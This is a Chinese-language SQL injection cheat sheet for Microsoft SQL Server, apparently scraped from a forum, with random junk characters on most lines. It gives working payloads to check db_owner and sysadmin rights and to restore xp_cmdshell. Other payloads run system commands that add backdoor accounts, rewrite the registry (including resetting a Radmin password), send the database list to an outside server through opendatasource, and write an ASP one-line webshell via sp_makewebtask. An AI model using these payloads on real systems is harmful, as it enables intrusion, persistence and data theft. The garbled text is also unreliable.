//看看是什么权限的
) \9 n+ i4 I( T2 L _( Rand 1=(Select IS_MEMBER('db_owner'))
, o8 X0 s: G' q3 z% |, ?" z" VAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--+ K/ K9 ?! O& c, V2 T$ f
1 I6 Y) W6 A* u3 h/ U; i//检测是否有读取某数据库的权限- \0 w% ~/ n* j. R; z {% O* i
and 1= (Select HAS_DBACCESS('master')): ]5 x: b2 `( i
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
5 a6 a4 o, C L, P" k. I2 `, F. [5 C( k" j
$ S( L2 P- s K, y数字类型
& t3 H- y& T5 Gand char(124)%2Buser%2Bchar(124)=0$ h: e6 T: p* o/ O3 V- X
; i: ^8 G' N6 J% f8 `! P5 U字符类型
; x: T: O) S8 c9 A. u( N6 a0 }' and char(124)%2Buser%2Bchar(124)=0 and ''='" t4 R' j) ?9 Y7 }
7 _7 c) R" a" k2 M% }" \% e搜索类型
+ b( W1 ~3 E. \* v# k" m& B/ {' and char(124)%2Buser%2Bchar(124)=0 and '%'='
. B9 F4 u+ |# i& f' H# ^" l- |
+ }& Q, X0 y9 @, \5 G: G* p, b爆用户名
) {4 B g! u9 B) Wand user>0
' i6 z" w" J1 z) x r$ @( A# H0 f' and user>0 and ''='; a: H# z* H. h/ m1 A2 c8 T* r5 {
( b8 ^% v2 ]3 h& c0 i( g, p
检测是否为SA权限" j8 M) f1 l/ C( B- A. k; h; n8 L
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--/ b7 Y( c# ^ _% t4 r' J% A5 J
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
) ^% }2 C6 P' j- m; Y9 g G/ @; x' Y9 Q9 r3 L0 j" j) G3 _5 ~/ H
检测是不是MSSQL数据库0 i4 L2 i) u6 ^) n, i% l' A
and exists (select * from sysobjects);--6 U/ Z, H% E \& V" _) Z
& E3 N* H" K( u: L7 f
检测是否支持多行. _$ p$ U3 U) Q
;declare @d int;--6 l& j# a% ~+ _3 H/ h/ B$ _8 j5 |
) _9 c5 C: ?& o: ~, Q4 s) N恢复 xp_cmdshell; T6 y# g% b4 [
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
+ v. a$ m7 N- V2 I! \5 ?% `
1 o- g! y7 L) b( w/ o: [
& p" g* h) d v" R+ v0 Fselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
1 ^0 c0 D6 C7 F) I6 ?3 W" F$ y- y
3 f$ ~9 W3 ?# J! o8 j# C8 t3 E! I3 ]//-----------------------$ H$ ]8 W7 L# B# d2 h
// 执行命令+ }: w" h) r: ?, Y6 k4 @0 [; F, `. g
//-----------------------
4 d/ F# l l; |6 n- ~" y$ ?- Y首先开启沙盘模式:1 r) |2 j5 T. ?& S) M% @
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
+ @5 d: j6 c; V* t5 y# c
7 G6 v3 ?2 _: X! n4 M然后利用jet.oledb执行系统命令
) s# X6 {" }4 L- c( Z% Kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')! l+ W6 b% t' m; ?7 j' N1 V
2 _3 M* \: H1 {7 p
执行命令7 \# T9 V! J" E) A2 `
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
5 d" y/ U8 L9 Y- T8 U5 `
5 T% q1 C7 \1 ]' ]/ Z) }/ y" t6 AEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
2 [& C( l2 g( ^& j4 ?3 M/ {+ x& i, h* e
判断xp_cmdshell扩展存储过程是否存在:6 G- A5 N% L, l9 v$ C
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
% K7 R# U& [5 b% o2 B+ b# p% K& V# G1 e: X, N8 Z, U. g N# Z
写注册表6 [- S" R/ r2 ?9 f3 ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 W2 [; \9 C7 i1 _
2 H8 W0 D" v! j2 k) DREG_SZ1 y3 Q/ V7 O4 o' J- p
3 b0 U7 Y# i9 ~$ }
读注册表
% H+ Z- f" n% r) ^( w, x& aexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
2 D5 k! r7 D2 H8 d/ i) Q
3 z8 R: g& d \0 S: u7 ~" ?读取目录内容# `% T- `/ w+ X9 V! z4 O+ M, g
exec master..xp_dirtree 'c:\winnt\system32\',1,1, p! p2 _" Z0 \
7 {$ l' X. z% ~/ ?( K3 @! C
2 l- x8 N: @3 f7 k+ H数据库备份4 z8 Z0 a9 }% S; i
backup database pubs to disk = 'c:\123.bak'
! G" C5 L, x8 g; x! k4 C k
9 e+ M: d, t) T; [//爆出长度. P% H k# k+ R+ R( |- j
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--; b7 D1 N w+ M0 G: E
" r- ]% g% @& ^; i8 _6 I6 Q$ m
}: G6 {8 p9 R2 x9 g
- N3 x1 |# s4 K1 T更改sa口令方法:用sql综合利用工具连接后,执行命令:
9 S1 x1 \4 o0 {$ Nexec sp_password NULL,'新密码','sa'
2 c* M. K, g7 Z6 |( L+ d1 A
7 y0 ?2 N; T: w添加和删除一个SA权限的用户test:
1 u! J; t! L2 m# F3 R! H; [, Xexec master.dbo.sp_addlogin test,9530772
% _/ X1 ^# q: I& e @# ^- |& aexec master.dbo.sp_addsrvrolemember test,sysadmin
! B9 @- U/ k3 L
. z2 M/ E9 W7 {% a- f7 c删除扩展存储过过程xp_cmdshell的语句:
. w. X& M i* E C' f4 \exec sp_dropextendedproc 'xp_cmdshell'
: h3 Q0 A- c5 |3 l* k$ ]2 g, u) g# O% J7 n$ o! Y% z
添加扩展存储过过程# i0 g9 z q8 @# Q5 u$ g2 T: v
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
- U% ]/ H7 z, Q' ~GRANT exec On xp_proxiedadata TO public
3 J. H, r* u1 g! M/ d7 A- x. ^6 _8 G
+ A$ m9 @& h8 m
停掉或激活某个服务。
& ~' t/ v. X9 Y' s/ X( o) k; N9 C7 A& ]6 s' c; T
exec master..xp_servicecontrol 'stop','schedule'
3 u# P# A5 t9 S$ n. g% |. C. pexec master..xp_servicecontrol 'start','schedule'
( A$ F( R) k7 S. N3 P) y' ~! s+ S! u5 u% |" H9 n6 x& Q: [
dbo.xp_subdirs
3 B1 Q. C9 N, M7 t- u. O7 i. @" v7 Z, [* ~1 V9 B; x- `
只列某个目录下的子目录。
: E8 ~4 B9 s; l$ ?+ sxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
1 A# N, ]! h/ B; V7 |, {
" R! P2 M5 h. h) L; o4 Q, r( qdbo.xp_makecab0 b! z1 V2 E7 d% y
% O- e* B- {* K) C+ g; j& P
将目标多个档案压缩到某个目标档案之内。
- C( I' M/ d E/ C' u所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
, u0 J4 M9 {2 y$ V. d( W( a
* M3 [% f8 [! q% K2 c# A; A, rdbo.xp_makecab9 f' z/ y0 J, A
'c:\test.cab','mszip',1,! k; [/ x8 I8 L! ^( G2 }) v$ A- z
'C:\Inetpub\wwwroot\SQLInject\login.asp',1 v3 ~0 G( Q8 w
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
/ Y1 A; b3 t- t# }6 H& M& @- t4 F4 f, @( O$ F/ w$ P
xp_terminate_process
& F L5 {4 o6 l
3 z0 k8 Y( W& ?6 n! U- j停掉某个执行中的程序,但赋予的参数是 Process ID。
. V, \7 Y$ f# ~) X& x$ ~! ^利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
3 [* w% w2 s1 }! p# a
, c9 j4 y; S/ p$ n8 y# }1 jxp_terminate_process 2484
- O6 x. C) _& L
5 D t; N! S& n( S" S# ` fxp_unpackcab! r2 K! W/ c o# x; `; a
. v! l; o: O7 }+ M! `解开压缩档。: A I) ~2 G/ h
( y1 {9 V: S3 }& Y
xp_unpackcab 'c:\test.cab','c:\temp',11 [8 ^9 k( y' S" u/ R
+ \' [5 H5 |6 ^" h) C6 r5 g
# }2 o7 s8 N1 L; D" A5 B6 ~) W/ r某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12341 ]: _' c# Y+ W0 [0 F$ T9 I
) a4 g. }2 S5 |) O- V" Wcreate database lcx;
! y4 ]5 Z* ?% Y' bCreate TABLE ku(name nvarchar(256) null);
% x9 R+ B$ M; U Q: y& yCreate TABLE biao(id int NULL,name nvarchar(256) null);
4 \3 G8 f- N/ b0 H* L
0 X* E9 G/ ]! [//得到数据库名, k* x. i4 Q7 }6 M# n1 I1 o
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases4 c) k7 d) |6 o" w* h5 U5 z; `
/ X# `9 G- o8 {: k5 \, W' ]1 j! c
) o' z* y, ~9 {0 d# I4 L//在Master中创建表,看看权限怎样0 { i4 r+ g4 }" h4 {7 A( u
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, x& k. I& |: X8 y @- F
+ A' M! H4 ]5 j; U9 _8 K用 sp_makewebtask直接在web目录里写入一句话马:
; y) p* ]9 L Q8 V3 ^http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
* {/ j& J; a# G) K q1 y7 |
$ Z K- z% o5 w w//更新表内容
- {: j2 Z' Z t( B9 pUpdate films SET kind = 'Dramatic' Where id = 123
3 M( N" P6 s& Z/ d5 b
% p+ J! a: |8 w/ y0 l//删除内容9 m5 l9 J7 u$ Y ~; _/ N
delete from table_name where Stockid = 3 |